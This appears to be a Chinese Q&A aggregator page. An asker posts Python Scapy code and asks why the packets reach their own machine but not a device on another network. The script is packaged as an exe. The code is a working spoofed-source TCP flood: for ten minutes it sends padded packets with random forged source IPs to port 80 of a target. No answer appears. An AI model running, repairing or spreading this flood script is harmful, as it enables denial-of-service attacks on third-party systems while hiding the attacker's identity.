首页 > 解决方案 > Python 使用 Scapy 发送数据包

问题描述

我正在尝试用 Python 发送 TCP 数据包。如果我将它发送到 mysel f(我使用 Wireshark 来查看是否成功),它工作得非常好,但如果我从另一个网络中的设备发送给我,它就不会工作。(我把它编译成exe)。

try:
    Count = 1
    seconds=600
    IPdst = ip
    t_end = time.time() + seconds
    while time.time() < t_end:
        Count += 1
        for x in range(1):
            one=(random.randint(1,255))
        for x in range(1):
            two=(random.randint(1,255))
        for x in range(1):
            three=(random.randint(1,255))
        for x in range(1):
            four=(random.randint(1,255))
        dot = "."
        one=str(one)
        two=str(two)
        three=str(three)
        four=str(four)

        RndIP=(one+dot+two+dot+three+dot+four)

        A = RndIP
        B = IPdst
        C = RandShort()
        D = 80
        payload = "                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "


        spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / Raw(load = payload)
        send(spoofed_packet,inter = .0, verbose = False)
except:
    pass

标签: pythonscapypacket

解决方案


推荐阅读